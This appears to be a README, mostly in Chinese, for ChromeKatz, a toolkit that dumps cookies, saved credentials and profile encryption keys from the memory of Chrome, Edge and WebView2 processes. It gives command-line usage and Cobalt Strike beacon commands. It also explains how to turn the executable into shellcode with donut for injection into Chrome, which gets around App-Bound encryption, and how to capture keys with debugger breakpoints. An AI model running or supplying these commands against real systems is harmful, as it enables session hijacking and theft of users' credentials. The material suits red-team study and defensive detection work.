ChromeKatz 是一个用于从基于 Chromium 的浏览器内存中转储敏感信息的解决方案。 目前,ChromeKatz 由三个项目组成:
CookieKatz 提供 exe、Beacon Object File 和 minidump 解析器。对于 ElevationKatz,提供可执行文件和 Beacon Object File。
ElevationKatz 现在能够从浏览器内存中解析 cookie 和凭据数据库并为您解密。
CookieKatz 已彻底改版,采用更加强大的方法来查找 cookie!新方法同样支持旧版浏览器。 CookieKatz 现在新增了 /inject 标志,用于绕过相关浏览器上的 App-Bound 加密!
我需要一杯咖啡,我的猫也需要!
CookieKatz 是一个允许操作员直接从进程内存中转储 Chrome、Edge 或 Msedgewebview2 Cookie 的项目。基于 Chromium 的浏览器在启动时会从磁盘上的 cookie 数据库中加载所有 cookie。
这种方法的优势如下*:
这些说法在某些浏览器/应用程序上仍然成立。对于最新版本的 Chrome,您需要注入到进程中。 ……或者使用 ElevationKatz
不支持 32 位浏览器安装,也不支持 32 位版本的 CookieKatz。
目前仅转储常规 cookie。Chromium 将 Partitioned Cookies 存储在另一个位置,目前不包含在转储中。
该解决方案由三个项目组成:CookieKatz(PE 可执行文件)、CookieKatz-BOF(Beacon Object File 版本)和 CookieKatzMinidump(minidump 解析器)。
注意!当选择使用 PID 作为目标时,请分别使用 /list 或 cookie-katz-find 命令来选择正确的子进程!
Examples:
.\CookieKatz.exe
By default targets first available Chrome process
.\CookieKatz.exe /edge
Targets first available Edge process
.\CookieKatz.exe /pid:<pid>
Attempts to target given pid, expecting it to be Chrome
.\CookieKatz.exe /webview /pid:<pid>
Targets the given msedgewebview2 process
.\CookieKatz.exe /list /webview
Lists available webview processes
.\CookieKatz.exe /inject
Targets the current process. Use this flag when your are injecting CookieKatz to Chrome process.
TIP! If you need to inject CookieKatz into the Chrome process, you can turn the exe into shellcode using donut:
.\donut.exe -a 2 --input <Path_to_CookieKatz.exe> -z 4 -b 1 -p "/inject" -t
Flags:
/edge Target current user Edge process
/webview Target current user Msedgewebview2 process
/pid Attempt to dump given pid, for example, someone else's if running elevated
/list List targettable processes, use with /edge or /webview to target other browsers
/inject Indicate that the process will run in the target process
/out Write output to file, default location is "C:\Users\Public\Documents\cookies.log"
/help This what you just did! -h works as well
beacon> help cookie-katz
Dump cookies from Chrome or Edge
Use: cookie-katz [chrome|edge|webview] [pid]
beacon> help cookie-katz-find
Find processes for Cookie-Katz
Use: cookie-katz-find [chrome|edge|webview]
Usage:
CookieKatzMinidump.exe <Path_to_minidump_file>
Example:
.\CookieKatzMinidump.exe .\msedge.DMP
To target correct process for creating the minidump, you can use the following PowerShell command:
Get-WmiObject Win32_Process | where {$_.CommandLine -match 'network.mojom.NetworkService'} | select -Property Name,ProcessId
ElevationKatz 允许操作员从内存中转储浏览器配置文件加密密钥,从而访问用户的敏感信息。 其工作原理是:以挂起状态启动一个新的浏览器进程,设置断点,并在浏览器进程从 elevator 服务接收到密钥后将其转储。
这种方法的优势如下:
ElevationKatz 会以挂起状态启动一个新的浏览器进程并附加调试器。然后它会扫描浏览器 dll,查找浏览器从 os_crypt::DecryptAppBoundString 调用返回处的指令,并紧接其后设置断点。一旦命中断点,该工具就会从内存中转储加密密钥。
操作员可以选择两种断点类型:软件断点和硬件断点。
此外,对于硬件断点,有两种线程枚举方式可供选择:NtGetNextThread 和 CreateToolhelp32Snapshot。软件断点不需要线程枚举,因此 /tl32 标志对其没有影响。
新的 config 参数可用于自动解密配置文件数据库。这利用了 IHack4Falafel 的技术,从浏览器内存中解析 Cookie 和 Login Profile 数据库,避免直接触碰文件。
注意 转储仅适用于硬件断点,因为我无法弄清楚如何正确清理软件断点并回退 RIP 以避免进程崩溃。
Examples:
.\ElevationKatz.exe /chrome
Starts a new chrome process using path: C:\Program Files\Google\Chrome\Application\chrome.exe
Waits for 500 milliseconds for process to finish until forced shutdown.
.\ElevationKatz.exe /chrome /hw
Starts a new chrome process using path: C:\Program Files\Google\Chrome\Application\chrome.exe
Will use Hardware breakpoints instead of the software ones
Waits for 500 milliseconds for process to finish until forced shutdown.
.\ElevationKatz.exe /chrome /config:all\n");
Starts a new chrome process using path: C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe
Will use Hardware breakpoints instead of the software ones
Parses the cookie and credential database from the browser memory and dumps them
.\ElevationKatz.exe /edge /wait:1000
Starts a new chrome process using path: C:\Program Files(x86)\Microsoft\Edge\Application\msedge.exe
Waits for 1000 milliseconds for process to finish until forced shutdown.
.\ElevationKatz.exe /path:\"C:\Program Files\BraveSoftware\Brave - Browser\Application\brave.exe\" /module:chrome.dll
Targets the Brave browser
Flags:
/chrome Target Chrome process.
/edge Target Edge process.
/hw Use Hardware breakpoints instead of SW ones.
/tl32 Use CreateToolhelp32Snapshot to enumerate process threads when using with /HW flag
/wait:<milliseconds> Maximum time to for the debugging. Use 0 for INFINITE. Defaults to 500ms.
/path:<path_to_exe> Provide path to the process executable
/module:<some.dll> Provide alternative module to target
/config:<option> Automatically locate and dump contents of profile databases. Options. Cookies|Creds|All
/help This what you just did! -h works as well
beacon> help elevation-katz
Dump elevation service encryption key
Use: elevation-katz [chrome|edge] [useHW] [useTL32] [wait:<ms>] [terminate] [executable:<path>] [module:<path>]
我曾就 CredentialKatz 最初利用的漏洞向 Chromium 项目提交了一份报告,他们将其标记为"不会修复",并表示他们不关心凭据是否残留在内存中。
然而在该工具发布后,他们却突然按照我提出的确切方式修复了这个漏洞 :3 https://issues.chromium.org/issues/352085708
在此处下载 ChrokeKatz BOF 的最新发布版本。压缩包中包含已编译的 BOF 和用于运行它们的 CNA 脚本。
您可以在 Visual Studio 中使用 Release 或 Debug 配置以及 x64 平台构建这两个项目。
BOF 版本是使用 Cobalt Strike 的 Visual Studio 模板 bof-vs 开发的。这意味着 *-BOF 的 Debug 配置将生成 exe 而不是 COFF 文件。您可以在此处阅读更多关于 Visual Studio 模板使用的信息。
您可以在 x64 Native Tools Command Prompt for VS 2022 中使用 nmake 编译自己的 BOF:
nmake all